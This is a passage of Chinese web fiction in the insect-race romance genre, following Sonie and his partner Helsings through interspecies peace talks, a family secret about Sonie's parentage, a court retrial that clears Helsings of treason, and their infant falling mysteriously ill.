休伊斯闻言耸了耸肩,“好吧, 你们还是这么没有幽默感。” 时间就在这种没完没了的反复扯皮中过去, 以索涅的视角来看, 什么事情都没谈拢。 最后, 休伊斯装模作样地看了一眼会厅上方巨大的时钟, “各位, 这时间也不早了,我还有最后一件事想问问联盟。” “既然两族都有讲和的意思,不如就从联盟选一只雌虫嫁到我族, 联盟意下如何?” 众虫面面相觑。 “从来没有这样的先例。”一只雌虫皱起眉, “这种结合根本没有意义。” “那就由我们开创, 联姻的意义也不在于生出后代。”休伊斯露出笑容,索涅怎么看怎么觉得奸诈。 “讲和就讲和, 联姻就没必要了,”安莫因对此无动于衷,“真要开战,就算你族娶了十只雌虫,那也无济于事。” “这可不是为了我族的安全, 不过是两族之间表示友好的方式而已,”休伊斯微顿,“不过既然委员长阁下不同意,那我也只能放弃这个好主意。” 第一次会议就这样结束, 休伊斯离开后,索涅看到安莫因又返回了会厅。 “这个休伊斯好像对你很感兴趣。”恩修说道。 飞行舰平稳地掠过云层,窗户被云雾黏连出斑驳的水痕。 索涅不置可否:“毕竟我是替了他的位置。” “你说他这是什么意思?就故意针对你, 没别的?”恩修问道。 想起刚才休伊斯说的话,他不禁嘴角抽搐,“怎么星际时代也有和亲这种封建糟粕?” “虫族和他们不是有生殖隔离?个鳖孙想出来这馊主意。”恩修想起来就气得咬牙切齿。 “生殖隔离,只是生不出崽,又不是不能进行生崽活动。”索涅语无波澜。 恩修:“……”也对。 索涅不相信只有自己听出来。乌尔加可是安莫因的亲弟弟。 “所以叫我来的目的是什么?”恩修快要睁不开眼睛。 几十架摄像机对着,还有三百六十度无死角的监控,他想睡也不敢睡,快困死了。 “就是为了让雄虫最后投个票,雌虫学生也来了不少,那个联培学校的主意比联姻还要臭。”索涅说。 “你适合干这个,我……嗬~……我不适合……”恩修闭上眼睛。 索涅没再打搅他。 飞行舰迅速划过大气层降落在圣托舰场,他们下午还得去上课。 这近身格斗真是索涅的一大磨难,不是说疼痛受伤或者学不会,而是总有对手试图揩他油。 之前好歹保持着距离,雌虫对雄虫到底有多狂热索涅还没什么太深的感觉。这学期他必须得选个雌虫当格斗对手,全世界的痴汉都吻了上来。 虽然打架打赢了,但索涅总是觉得不过瘾,看到对手那黏糊糊恶心吧啦的眼神,他手脚都像被沾满灰尘的蛛丝缠住似的,赢得一点都不痛快。 所有虫都觉得,索涅的对手在给他放水。 “嘭!” 一道□□亲吻墙壁的沉闷声音。 索涅甩了甩手腕,警惕地看着对面缓缓爬起来的雌虫。 “殿下力气真大。”雌虫咽下口中喷涌的血气,露出柔和的笑意,“还要再来吗?请相信我,我永远不会让您受伤,您尽管攻击。” 索涅:“……” 靠! 浑身上下有种被蟾蜍舔了一口的恶心感。 晚上回去,他闷闷不乐地坐在沙发上。 赫尔辛斯从楼上下来,一眼看到他的小雄主眉毛扭在一起,像个小苦瓜似的。 “赫尔辛斯……”雄虫看到他,一脸诉苦的表情扑上来。 赫尔辛斯被扑倒在沙发上,雄虫将脸埋进他怀里,蹭着他的肌肉。 “我不想上学了。”索涅说。 “好,那明天我们去办退学?”赫尔辛斯轻轻地用指尖梳理着雄虫短短的黑发。 “……我就是随口一说。”索涅紧急撤回上一句,“你这样会把我宠坏,而且……” “当初你说过,我会是第一个雄虫上将,我一直记着,你不会忘了吧?” 赫尔辛斯怔然。心里骤然塌陷,涌进一股温暖柔软的东西。 “……您还记得。”他轻轻地说。 “我当然记得。”索涅哼哧哼哧地爬起来,去捡赫尔辛斯掉在地上的长发。 “学校里出什么事了吗?”赫尔辛斯问。 索涅玩着一缕金发,绕在指尖,又任由它调皮地弹开。 这是他不愿意跟赫尔辛斯讲的那种事,他自恋地觉得会给虫虫带来烦恼。 “……你要相信我。”他先说道,趴在雌虫大腿上,用发尖搔着雌虫的肌肉,“我被分配了一个格斗课对手,那只雌虫老是……” 索涅不知道该怎么形容,“他老说一些恶心吧啦的话,我所有的鸡皮疙瘩都在这几节课上掉光了。” 他不好意思说差点被揩油的事,毕竟那只雌虫被他揍得挺惨的。 客厅里安静了好几秒。 他的雌虫极为凝重地出声:“他骚扰您?” “他故意暗示他在放水,现在所有虫子都觉得我占了大便宜,能够靠这种方式在格斗课拿不错的分数。”索涅两根手指捏着雌虫的发尖,在对方紧实的大腿上扫来扫去,“赫尔辛斯,还是你好,你不会欺负我。” 赫尔辛斯:“……”雄虫是不是被打击到了,说话的调调怎么有点像亚雌。 “我记得期中会有一场学院杯格斗联赛,您的实力怎样他们自然会看清楚。”赫尔辛斯安抚地揉按着索涅胳膊上的肌肉,“您是圣子,可以提出和圣山的雌虫守卫对决,不需要那些学生配合。” “其实,”他略微停顿,“应该有一只雌侍陪您去上课才对——嘶!” 索涅齿尖叼着雌虫的唇,“你再说一遍。” 赫尔辛斯闷笑,“您真可爱。” 索涅气笑了,“调戏我?好玩吗?” 雌虫不说话,但脸上的笑意怎么也抑制不住。 “我要给你点黄色看看。”索涅一把捞起雌虫。 “您不饿吗,我准备了很多珍稀食材。”雌虫被他扛在肩上,还有心情问这个。 “已经煮好了,就在保温箱里。”雌虫又说。 索涅捏了捏虫虫,转而扛着他放到餐椅上。 赫尔辛斯一笑起来,索涅总有种蓬荜生辉的感觉。 雌虫端着菜出来,苍金的发丝在夕阳中染上一丝热烈。 索涅将小虫崽抱下来,崽崽张开手指抓握着夕阳。 “我们两个都不是外向的性格,怎么小崽子整天见到谁都乐呵呵。”索涅纳闷。 “是有点傻。”赫尔辛斯说。 虫崽“鹅”了一声,仿佛在应和。 有了阿橘这个小管家机器,家务就可以交给它。索涅在书房学习,赫尔辛斯坐在一旁沙发上,一边从光屏上看着什么资料,一边晃着小崽子的摇篮。 突然,他眉心一皱,看向旁边努力学习的雄虫。 赫尔辛斯悄无声息地转了个角度,挡住光屏的内容。这不是他的手环,所以索涅也可以看到他在干什么。 他有点心虚地一边观察雄虫,一边飞速地给安莫因发消息。 ——用索涅的账号。 看着看着,他渐渐瞠目结舌。 这个世界上怎么会有这么离谱的事情?! 也就是说…… “赫尔辛斯。” “嗯?怎么了?”赫尔辛斯心脏狂跳。 “崽崽睡着了吗?”索涅喝了一口水。 赫尔辛斯侧头,虫崽正四仰八叉睡得香甜。 “睡着了,他今天很想您,白天都没怎么睡觉。”赫尔辛斯语气如常地说。 索涅叹了一口气。万万没想到他有一天会早婚早育,甚至得抛下老婆孩子去上大学。 他伤春悲秋完又老实地接着学习。赫尔辛斯提心吊胆地重新打开小光屏。 安莫因:你他么真是胆肥,敢用索涅的手环给我发消息?他现在可是圣子。 赫尔辛斯:聊完我会删记录。你先解释一下,什么叫我雄主是你下的蛋孵出来的? 安莫因:……别那么粗俗,他是我的雄子,我和费伦斯生的,很难理解吗? 赫尔辛斯猛地深吸一口气。 赫尔辛斯:你也别怪我戳你痛处……是那个蛋? 安莫因:现在不算痛处了。 赫尔辛斯:那不是个死蛋吗…… 过了一会儿,安莫因才发过来一条消息。 安莫因:费伦斯把它救活了。 安莫因:但是又被奥维偷走,不知道流落到哪里,我也是找到你的时候才偶然发现的。我以前也以为他没活下来。 垃圾车会把垃圾运到荒星进行处理,经过漫长的工序转化成肥料滋养枯竭的星球。单是荒星强烈的宇宙辐射,虫蛋就不可能活下来。 赫尔辛斯下意识看向索涅。 雄虫正认真地盯着光屏,精神丝和手指并用,页面上的文献资料飞速滚动。 赫尔辛斯轻轻地呼出一口气。 他速度极快地消除这段聊天记录,然后头疼地靠在沙发上,捂住眼睛。 这都什么事啊。 曾经安莫因披着马甲狂热地追求费伦斯,最后因为虫蛋的事不了了之,甚至还和费伦斯反目成仇。赫尔辛斯一直以为安莫因是真的不再喜欢费伦斯了。 哪想到不仅喜欢,还喜欢了十多年,还偷偷摸摸地又怀了一个! 最要命的是,曾经他抱过照顾过的可怜兮兮的小虫蛋,竟然还活着! ……还成了他的雄主。 蛋都生出来了,说什么都迟了。 赫尔辛斯绝望地捂脸。 他降辈分了?! 第54章 我欺负你了 索涅感到一丝不同寻常。 …… 索涅感到一丝不同寻常。 赫尔辛斯没有像往常那样, 在他一躺到床上时就向他靠近,而是就那么侧躺着,看着索涅。 “怎么了, 不开心?”索涅凑过去吻在他唇上, 将雌虫滑落身前的长发拨到耳后。 雌虫安静地看着他, 灯光照进他的眼睛, 像含着细碎的金粒。 索涅忍不住又去亲他。亲他的眼睛, 亲他柔软的双唇和挺直的鼻尖。 “你今晚怎么不吻我……”他小声地说。 赫尔辛斯仰头看着俯在他身上的雄虫。 眉目漆黑清俊, 瞳仁大而深邃,肩颈处肌肉线条起伏优美,苍白的肤色在灯光有种玉石般透明的质感。 一只已经成年的, 强大优秀的雄虫。 这真的是从那枚还没有他手心大的蛋孵出来的小崽? 他正在将那枚蛋毫无生气的模样和趴在他身上的雄虫联系, 就感到眼前一片阴影袭来, 唇上温热湿濡,唇肉传来轻微的撕扯感。 “你竟然走神……”雄虫抱怨道, 扶住赫尔辛斯的下颌,打断他微小的闪躲。 赫尔辛斯不得不仰起头,承受着他的小雄主美妙的怒火。 信息素的气味浓郁地盈满整个房间,他完美无缺的精神域仍旧被慷慨的雄虫一次次贯穿,哪怕一丁点儿沉疴都消散得一干二净。 不知过了多久, 赫尔辛斯失神地躺在枕头上,缓缓地摸了摸自己脖子上新鲜的牙印。 索涅凑到他身前给他消毒上药。赫尔辛斯腰部毫无知觉,虫纹仿佛承受过载一样迟钝。 索涅低着头,给那几个牙印逐一涂药。 “……对不起。” 赫尔辛斯无神的双眼渐渐聚起神采, 失笑:“不过是几个牙印而已。” 索涅知道不是这么简单,“我最近心情特别暴躁,总是无来由地愤怒, 我以为跟你在一起不会这样,但是……我刚才欺负你了。” 他故意用力,专门地找那些让雌虫难受的地方,将雌虫欺负得神志不清。 索涅有种恐惧感。 赫尔辛斯躲避他时,他真的一瞬间怒意上涌。他不会变得和那些以施虐为乐的雄虫一样吧…… 后背一双手臂将他搂住,索涅顺从地趴在雌虫肩头鼻尖还有药剂清凉的香味。 “这算什么欺负?”雌虫摸着他的后颈,话里带着柔和的笑音,“只能说我们今天比较激烈,您是如此爱我。” 索涅不自在地动了动。 听到这个字,他有点腼腆起来。 “那……你舒服吗?”索涅小声问。 赫尔辛斯低头看到雄虫漆黑的头顶。 “舒服。”他说,“希望您也喜欢。” 索涅更不自在了,将脸埋进雌虫胸口,“……我喜欢的,喜欢……” 他喜欢到心口发痛。 赫尔辛斯胸腔震动,和心跳的声音一起传进索涅心里。 灯光熄灭,薄被拉起,室内乍然陷入一片黑暗,赫尔辛斯睁着眼,眼睛渐渐适应暗光环境,慢慢能看清天花板上繁琐的灯带。 雄虫依偎在他身边,很快就陷入熟睡。 赫尔辛斯转头,看到雄虫安静优美的轮廓,额前柔软的黑发耷拉在他肩膀,呼吸平缓。 他闭上眼睛,却一时难以入睡,脑海中小小的虫蛋和身旁大只雄虫的模样来回切换,额角渐渐发胀。 安莫因当初不服气,想尽一切办法终于以一个平民雌虫的身份靠近费伦斯。当时他也才从圣托毕业没几年,自豪于拿下众虫眼里难以接近的圣子殿下,并且很快就怀上了虫蛋。 为了掩盖他白玉蜂的身份,安莫因只能多次拒绝费伦斯的结婚申请,刚无情地拒绝一次,还能厚着脸皮去求精神力。 赫尔辛斯一直不懂,原本高傲理性的好友为何会一夜之间变成脑子有泡的恋爱脑。 后来,脑子有泡的安莫因半夜找到他,惊慌失色地告诉他虫蛋没有精神力波动。 他们带着虫蛋秘密地拜访各处医院,仍旧只能得到这是一个死蛋的结论。 安莫因不敢告诉费伦斯,可后来这枚死去的虫蛋应该是不知怎么到了费伦斯手里。 赫尔辛斯从一开始就觉得,安莫因根本不可能瞒得过费伦斯,那只雄虫对一切都了如指掌,看得明明白白。 赫尔辛斯照顾过虫蛋一段时间,虫蛋个头非常小,这在他们意料之中,蛋壳的颜色就和索涅的肤色一样苍白如雪,躺在他手心时格外乖巧可怜。 从安莫因告诉他,索涅就是那枚小虫蛋开始,赫尔辛斯一直有种不真实感。 怎么可能呢? 怎么就会这么巧? 他被关押到索涅所在的星球,索涅还恰好把他从深渊茧房里选走。 不过索涅的个性倒确实很像费伦斯,发色遗传费伦斯,瞳色则是费伦斯和安莫因的结合体。 他是比索涅大二十多岁,但这不是个悬殊的数字,他怎么就至于变成安莫因的晚辈? 索涅…… 赫尔辛斯感受到雄虫扑洒在他肩颈的,柔和轻缓的气流。 原本应该是白玉蜂王族和执政官诞下的尊贵后代,却在边缘星球为几千万的负债而发愁,甚至不得不去监狱挑选罪雌…… 赫尔辛斯轻轻侧过身,与熟睡的雄虫额头相抵。 不管怎样,索涅是他的雄主,是他的雄虫,这一点永远不会变。 没过一会儿,赫尔辛斯眉心又蹙起。 如果索涅是费伦斯的后代,那么意味着他也是一只血脉驳杂的梅尔加。 索涅这几天出现的精神力外溢现象……赫尔辛斯蹙起眉,有些担忧地看着双眼轻闭的雄虫。 —— 没过几天,不安分的休伊斯整出一场疯狂的闹剧。 艾浮的雌君,也就是赫尔辛斯的弟弟法门被他撞见和另一只雄虫私会,这家伙像个大喇叭到处宣扬。艾浮深感丢脸,虽然面上和和气气,但第二天就有虫撞见法门脖子上青了一块。 第三天,艾浮在原本的谈判会上缺席。 第四天,星网上聊聊开始流传艾浮和维希决斗吃了败仗的消息。 第五天,艾浮和维希的赌注在星网彻底爆发,他把法门输给了维希的传言纷纷扬扬。 还没等赫尔辛斯询问安莫因,维希被星盗绑架的消息又突然传开。 梅尔加不吭声,最终是费伦斯出了赎金,并在维希回来后迅速将星盗团的据点勘破。 没想到扯出萝卜带出泥,他们的首领原本是三叉戟的二把手,脱离三叉戟后自己搞了个星盗团,还保存着当初主星某虫子联系他们刺杀索涅的记录。 次日晨会,艾浮和刚回主星没几天的法门一同出席。 “这件事影响极其恶劣,如果没有当初赫尔辛斯·恩其顿的全力保护,索涅殿下可能已经遇难,”安莫因声音沉缓,冷厉的眼神让心怀鬼胎的家伙不敢直视。“白玉蜂将全力支持最高法彻查此事,并且,我提议为赫尔辛斯·恩其顿减刑。” “这不行。”西沙立刻出声。 安莫因、索涅、费伦斯齐刷刷的视线让他后背一紧。 西沙疯狂地在心里措辞:“安莫因委员长,据我所知,当初索涅阁下的状况非常恶劣,赫尔辛斯并没有成功救下他,更何况当初索涅阁下还不是圣子,这怎么能混为一谈?” “而赫尔辛斯当初攻击的,可是货真价实的圣子。” “恰恰相反,如果没有赫尔辛斯,我可能已经化成灰,回归宇宙的怀抱。”索涅的眼睛比西沙闪烁的样子要有压迫感得多,“还是说西沙圣子觉得,一只顶A级雄虫就那么不值钱?” “不是……”西沙卡壳,“但他当初攻击了我……” “请容我说明一件事。”安莫因拿出一个储存器连接光屏。 众虫的目光顿时集中在密密麻麻的证据上。 “这是当时赫尔辛斯的骨翼状态,的确有部分破损,但破损位置是在侧尖端棱刺。” “而这是从西沙殿下的护甲上提取的皮肤组织,的确属于赫尔辛斯·恩其顿的骨翼,位置也是在侧尖端。” “恕我直言,安莫因委员长,这和当初的结论有什么区别吗?”西沙心中松一口气,态度不自觉地轻慢起来。 “以曾经的检测技术,这两者确实没有区别,”费伦斯却开口了,“不过索涅阁下友情提供了赫尔辛斯最新一周的骨翼组织,我已经可以确定之前那片皮肤组织脱落的时间有蹊跷。” “您护甲上的组织脱落时间比您提供的赫尔辛斯攻击您的时间早了一百个小时左右,却恰好和赫尔辛斯提供的攻击间谍的时间吻合。” 满室俱静。 西沙死死地盯着面前的空气,却和任何一只虫都不对视。 “我很确定攻击我的虫就是赫尔辛斯,那些监控——” “很遗憾,监控没有通过我们的二次鉴定。”杰里士冷不丁出声,立即迎来两个好友暗藏惊诧的视线。 在所有虫的目光下,西沙后背渐渐汗湿。 “但我确定,当初攻击我的雌虫就是赫尔辛斯。”他坚持的话显得有些苍白无力。 “介于此,请给我们几天时间再次鉴定所有证据,后天复审,介时请西沙殿下,还有,”杰里士看向索涅,“索涅殿下您的雌虫赫尔辛斯,准时到场参与。” “谢谢,辛苦了,我们会按时参加。”索涅说道。 “我会去,一只伤害雄虫又叛国的罪雌,我不会容许他逍遥法外。”西沙的话让不少虫心里发笑。 在场都不是蠢的,谁还看不清状况? “研究院也会全力配合,有什么技术需要直接开口,”费伦斯说道。 “那只和星盗联络的虫子,我这边有点眉目。”安莫因说道。 不知道在场多少虫子因为这两句话浑身冷汗,反正杰里士会议结束后直接避着两位老朋友走。 虫子们面色平静,这一场会议后,却都开始默契地重新衡量安莫因、赫尔辛斯、索涅、费伦斯之间的关系。 安莫因和费伦斯的关系好像突然变得和缓,桩桩件件都围绕着索涅和赫尔辛斯。 这位新圣子也不简单,行事风格简直和费伦斯一个模子刻出来的,只是比费伦斯更为冷漠难以接近,实力更是深不可测。 虫子们心里暗想,看来他们对圣子的策略需要做出一点改变。 第55章 重审 虫蛋孵化即将满一月,按照虫…… 虫蛋孵化即将满一月, 按照虫族古老的传统,需要举办一场满月宴,迎接新成员正式步入贵族视野。 这本该是充满喜悦的筹备期, 但索涅和赫尔辛斯的心头却萦绕着另一件既甜蜜又庄重的事情——为他们的傻呵呵的小虫崽崽取名。 夜晚, 卧室内只亮着一盏柔和的壁灯, 虫崽在他的小摇篮里四仰八叉睡得正酣, 呼吸轻浅。 索涅俯身, 指尖小心翼翼地拂过虫崽淡金色的、柔软的发丝, 目光温柔。 “历法和族谱推算的结果,有几个备选。”赫尔辛斯的声音低沉而舒缓,他靠着床头, 光屏上显示着复杂的星图和家族谱系。 “强大美丽?战无不胜?还有这个……星光与坚韧。”雌虫说道。 “科尔墨斯寓意承继星光, 是个不错的名字, 您觉得呢?” “科尔墨斯·诺米茨……”索涅轻声念着这个名字。 他看向赫尔辛斯,“星光与坚韧……很像你。” 他记得雌虫在深渊茧房中, 破碎而又坚韧的金色光芒。 赫尔辛斯微微摇头,视线落在索涅漆黑的发顶和清俊的侧脸上:“不,是您的特质。” 他顿了顿,补充道,“这个名字能与星轨共鸣, 为他带来祝福。” 索涅失笑地凑过去,吻了吻赫尔辛斯的唇角:“好吧,不论是谁的特质,那就叫科尔墨斯·诺米茨。我们的小科尔。” 他喜欢这个名字, 不仅因为它美好的寓意,更因为这是他和赫尔辛斯共同翻阅了大量古籍星历和玄学资料,死了无数脑细胞才计算出的结果, 是他们对这个幼小生命最郑重的期许。 科尔墨斯小家伙蹬了蹬腿儿,睡得沉而香甜,双眼一闭不知烦恼。 索涅和赫尔辛斯对视一眼,不禁露出笑意。 —— 星网一片风起云涌,虫子们热衷于讨论这些位居高层的权贵,外界的风云也变幻到了关键时刻。 第二天下午,卡着最后的下班时间,最高法的新一轮证据审查结果正式公布。 基于费伦斯安莫因提供的,关于骨翼组织脱落时间存在差异的分析报告,最高法侦查科对原始监控录像二次鉴定结果,以及安莫因方面挖出的更多指向性佐证,法庭宣布开启对赫尔辛斯·恩其顿的第二次审判。 法庭门口,无数摄像机和看热闹的的虫子们早早守候,赫尔辛斯走下飞行舰,两侧是六名最高法的军雌。索涅紧随其后,他跳下来时,周围隐隐传来一阵哗然。 似真似假的传言得到证实!圣子果然是这只罪雌的雄主。 不过今天之后还是不是罪雌就不一定了。 一众虫子在各自的席位坐定,法槌敲下,满堂肃静。 赫尔辛斯坐在黑木桌后,感受到雄虫温柔中带着担忧的视线。 他神情一松,心中对这熟悉场景漠然随之消散了些。 “首先宣布原判和原判证据证词。”杰里士淡漠的声音显得异常严肃。 一连串熟悉的话说下来,赫尔辛斯、索涅等都面无表情。 “原告西沙圣子,请发言。”杰里士说道。 倒霉。 级别这么高的审判,每个环节都得他亲自宣布,简直拉满不满意的那一方的仇恨。 “我不得不重申我曾经受到的伤害,这是第一医院曾经对我的伤情检查报告,”西沙眉头紧蹙,看起来十分忧愁伤心,“虽然没有必要,但我想还是得再说一遍曾经我和赫尔辛斯的关系。” “请称呼原告。”杰里士提醒。 严格来说,赫尔辛斯现在不叫赫尔辛斯,他还没有身份。 西沙卡了一下,“……我和原告曾经是青梅竹马的关系,他是恩其顿高级雌虫,我是梅尔加高级雄虫,婚约从我们还是虫蛋的时候就已经定下……” 他滔滔不绝长篇大论,还没说到重点就被杰里士打断,“抱歉,您的陈述时间结束了。” 西沙:“……” “被告请发言。” 赫尔辛斯的话显得有条理得多,即便围观群众都隐隐更支持圣子,还是忍不住感叹。 “西沙圣子还是写个发言稿比较好。”一只雌虫暗叹。 其他虫深以为然,也不知道是谁给西沙准备的材料,不过西沙身后律师团的表情,这大概是个意外。 他们两个的陈述没什么新鲜东西,因为重头戏都在两方的资本博弈那边。 曾经赫尔辛斯一朝身败名裂,恩其顿王族也放弃了他,彼时安莫因也不是委员长,费伦斯还身为圣子远在星际法庭访问学习,他背后空无一虫,审判现场堪称惨烈。 现在,圣山执政官、议会委员长、圣子之一都站在他身后,最高法的庭长又是个不收贿赂铁面无私的家伙,西沙从一开始就预感不好。不过他还寄希望于费伦斯和安莫因其实没发现什么有用的东西,不过在给他施压,想让他自己乱了阵脚而已。 显然,结果是费伦斯几只虫都没他那么闲。安莫因确实没提出他们害怕的那些东西,不过却细致地逐一推翻了原来定罪赫尔辛斯的所有证据。 其实对于叛国和伤害圣子,还真衡量不准究竟哪个罪名更重,但显然拯救一名圣子的功劳也十分沉甸。 曾经科洛伊给索涅的那些资料,终究是在一年之后又派上了用场。更多的证据,他也早就递交给最高法。 他们准备得万无一失。 “虽然有这些新的鉴定结果,但我不得不提醒一句,被告曾经在战场会议中态度不明,故意延迟星舰开火,所有数据都可以查到。”科亚据理力争。 他在军部根基雄厚,曾经还是那场战役的副指挥之一,但拿出的东西虽然有指向性,却定不了赫尔辛斯的罪。 这在军部内部顶多算思想问题,以赫尔辛斯曾经的军衔,就算被挖出来,连检讨都不需要写的地步。 况且,当初几乎全靠赫尔辛斯拼命斩杀安斯族王,虫族才赢得了那场战役,百万高级军雌才得以活命。 “至今未破解安斯族的武器,我想还是有必要着重衡量原告的军事价值。”研究员私下解释他们的报告,这也是他们没有对安斯族乘胜追击的原因,“现在的情况,像这样卡在S级巅峰的高级军雌,少一只,都会对战场局势产生莫大影响。” 杰里士严重怀疑,原庭长入狱时搜查出来的受贿赃物不过是冰山一角,不然那么点钱,就能在法庭睁眼说瞎话? 他的两位老朋友……杰里士心中叹息。 之后恐怕不反目成仇就不错了。 经过一整天你来我往唾沫横飞的胶着,联盟最高法庭最终裁定:西沙圣子七年前对赫尔辛斯·恩其顿的袭击指控,证据不足,不予采信。同时,一系列用以构建赫尔辛斯“叛国”罪名的间接证据链,也被判定存在重大瑕疵和虫为操纵痕迹,有效性被当庭取消。 赫尔辛斯·恩其顿,保留剥夺政治军事权力的文书,暂被无罪释放。 双方紧紧地盯着杰里士。后方摄像机一刻不停地连闪。 索涅不知不觉忘记了呼吸,清晰地感知到自己的心脏在跳动。 杰里士扬起手。 “砰”!法槌落下。 当象征罪雌身份的电子镣铐在法庭上当场“咔哒”一声解开坠落的瞬间,法庭沉寂了一瞬。 索涅鼻头一酸,静静地望着雌虫下意识抚摸脖颈的模样。 骤然的轻松之后,赫尔辛斯感到一阵短暂的眩晕。这沉重的有形镣铐落下的瞬间,他也仿佛仿佛卸下了背负七年的无形枷锁。 原来已经七年了。 他下意识看向他的雄虫。 他的雄虫目光灼灼,眼神中充满了如释重负,和难以言喻的心疼,终年不见天日的上半个眼眸终于露了出来,眼眶红红地看着他。 赫尔辛斯不禁扬起唇。 众虫的目光在他们两个甜蜜的对视间来回晃荡,一时被闪瞎眼。 索涅望着雌虫修长漂亮的脖颈,和干净优美的手腕。尽管他经常帮雌虫按摩上药,这几个地方还是显出异常的红痕。 虽然政治和军事权力的恢复仍需后续复杂的法律程序,至少在此后,他的雌虫不再是法典定义下的罪雌,不再是需要被监控的囚徒。 他们可以堂堂正正地站在一起,赫尔辛斯可以是他的雌君,是他们虫崽子的另一位父亲。 庭审结束后,在庄严肃穆的法庭回廊上,索涅快步上前,在所有尚未散去的目光注视下,紧紧拥抱了刚踏出门框的赫尔辛斯。 力道之大,冲击得雌虫后退两步。 雄虫的怀抱十分温暖,驱散了身体上轻微的寒意。 赫尔辛斯闭上眼,感受着这一刻短暂的平静,将脸深深埋入索涅的肩颈,嗅着雄虫身上淡淡的信息素香味。 索涅搂紧了他,安抚地任由赫尔辛斯贴近。 “赫尔辛斯……”他喃喃,“太好了。” 赫尔辛斯闭上眼,更加贴紧索涅的脖颈侧脸。索涅感到皮肤被雌虫的眼睫扫过,泛起一阵冰凉潮湿。 雌虫极少这么情绪化。 安莫因重重地拍了拍赫尔辛斯的肩,“一起吃个饭先,我订了餐厅。” 就连费伦斯也忍不住瞪了安莫因一眼,“没情调。” 安莫因一脸理所当然,眼里却也是笑意。 不过他们都清楚,这只是开始—— 作者有话说:这一章怎么写都不满意[化了]我可怜的头发 第56章 虫崽 宫殿深处,寂静非常。 …… 宫殿深处, 寂静非常。 西沙正在暴怒地踱步,科亚安静地站在下首,眼睑垂下, 不言不语。 “砰”! 西沙猛地一脚踹倒椅子, “还要我主动问你?!安莫因怎么拿到的那些东西?你不是说做得天衣无缝?!!我要你有什么用!!” “我已经竭尽全力, 安莫因的手段不容小觑。”科亚淡淡地说道。 西沙憎恨他这副高高在上的样子, 他本以为科亚没有王族撑腰, 会比赫尔辛斯识相, 没想到竟然无用到这种地步! 西沙冷笑:“再给我摆这副冷脸,你就滚回你的荒星!” 被提起不堪的出身,科亚眉头都没动一下, “殿下, 从一开始我就告诉过您, 赫尔辛斯只要不死,早晚会回来, 联盟需要他。” “虫族的雌虫千千万!”西沙暴怒到额头浮起青筋,“恩其顿难道生不出第二只?!我今天不想跟你多费口舌,处理好那些事情,不然我们都没好果子吃!滚!” 科亚俯身道:“是。” 随后转身走了出去,修长的身影总让西沙想起曾经赫尔辛斯给他的阴影, 脸色难看到漆黑一片。 凭什么雌虫就能手握重权?而他贵为圣子,永远都只能仰仗雌虫的鼻息生存。 “赫尔辛斯·恩其顿。” 西沙眼底阴沉。 “既然还没死,那就让我看看,你到底能挺过去几次……” 没什么事情是有钱办不到的, 除非钱不够。 安莫因大手笔地包了圣山脚下一整个蓝水晶主题餐厅,费伦斯觉得很没必要,他们几个又不是见不得虫。 “执政官阁下, 请点餐。”安莫因微笑着将菜单递过去。 该死,要不是有两只行走的A级糖块,他会至于包下餐厅来拦住那些饥渴的狂蜂浪蝶? 星网已经彻底炸翻天。虽然以往每月总会因为某件事炸一次,但这个月这种热度的话题已经出现十多个。安莫因怀疑联盟还有没有虫认真工作,不会都在看八卦吧? 虫崽子很喜欢穹顶的水晶壁画,咧着嘴仰头欣赏,口水差点从嘴角流出来,漂亮的金眸倒印出壁画上慈悲的神祇。 “我们昨天刚给雌崽取了名字,”索涅轻轻擦掉崽崽的口水,“叫科尔墨斯,小名科尔。” “让我抱抱他,”安莫因眼馋小胖崽很久了,“小科尔,还认识我是谁吗……” 索涅松一口气,空出手来连忙从口袋里拿出药膏,这是他刚才回去抱虫崽时顺手拿的。 “都肿起来了。”他用指尖轻轻碰了碰雌虫脖子上一圈圈的红痕,小心地转动滚珠给雌虫涂药。 费伦斯一边点餐,一边看着他们,唇角忍不住上扬,“赫尔辛斯,记得我们第一次见面,你动脉破损血流不止,自己捂了一会儿就重新上阵。” 赫尔辛斯垂首看索涅给他涂药的手,目光柔软。 没有虫不喜欢被心疼,也没有虫不喜欢这种温柔。 索涅则紧紧地抿起唇,他知道雌虫肯定受过很多伤,但听到陈年旧事还是忍不住揪心。 “一整个星舰的补给被那群王八蛋给毁了,还好我们有点儿存货,不然那次真的会完蛋。”安莫因唏嘘道。 菜品有条不紊地被端上来,温柔的夕阳照在他们身上,食物的香味也变得格外和缓。索涅塞给崽崽一瓶营养奶,小家伙“吨吨吨”一分钟喝完,不一会儿就咂吧着嘴巴陷入睡梦。 “事到如今,索涅阁下总该将加冕仪式提上日程了。”费伦斯提醒道,“定在下周六如何?圣山这边已经准备妥当。” 事实上已经等待多时,只是索涅一直在推迟,费伦斯大概明白索涅的想法。 索涅询问地看向赫尔辛斯。 雌虫失笑,点点头给出回应。 安莫因盯着费伦斯的唇角,视线左右一转,不禁轻咳一声。 晚餐结束,费伦斯登上飞行舰,安莫因也走了进来坐在他身边。 费伦斯没给什么反应,只是吩咐关上舱门回圣山。 安莫因忍不住捏住雄虫一缕黑发,团在指尖绕来绕去,“你刚才看赫尔辛斯的眼神可太危险了。” 费伦斯一愣,旋即忍俊不禁:“你不会是要吃醋吧?你明知道我只是在看他们相处。” 安莫因神色古怪:“那天晚上,你知道赫尔辛斯差点隔着网线掐死我吗?执政官就是勇敢,敢真对着赫尔辛斯露出慈祥的笑。” 费伦斯:“……木已成舟,我又不像你那么讨打。” “你真不介意赫尔辛斯嫁给我们的虫崽?”安莫因终于问出他一直想问的话。 如果不认识也就罢了,可赫尔辛斯和他们平辈相处过,这下简直乱套了。想到赫尔辛斯要管他和费伦斯叫雌父雄父,安莫因犹如浑身爬满蚂蚁般难受。 费伦斯靠在座位上,侧眸看着安莫因作乱的手指,说道:“他们开心就好,我管那么多岂不是很讨嫌?” “执政官阁下的心态真是令虫羡慕。”安莫因怔然后一笑,拍拍大腿,“躺一会儿,到了我叫你。” 费伦斯抬眼看着他。 安莫因凑过去亲了他一口。 于是雄虫不大情愿地侧身躺在他腿上,闭上眼睛。 —— 庭审结束。生活总算勉强趋于平静,索涅眷恋这样的生活,但命运总是爱跟他们开玩笑。 起初,虫崽只是比平时睡得沉一些。 索涅还笑着对赫尔辛斯说:“看来是个贪睡的小家伙,还边睡边流哈喇子。” 但接连几天,科尔墨斯清醒的时间越来越短,即使醒来,也显得蔫蔫的,不像之前那样有力气挥舞小手,暗金色的大眼睛也常常没有神采,只是茫然地半睁着。 他们急忙带科尔去检查,也只查出虫崽可能是因为季节变化而有些嗜睡。 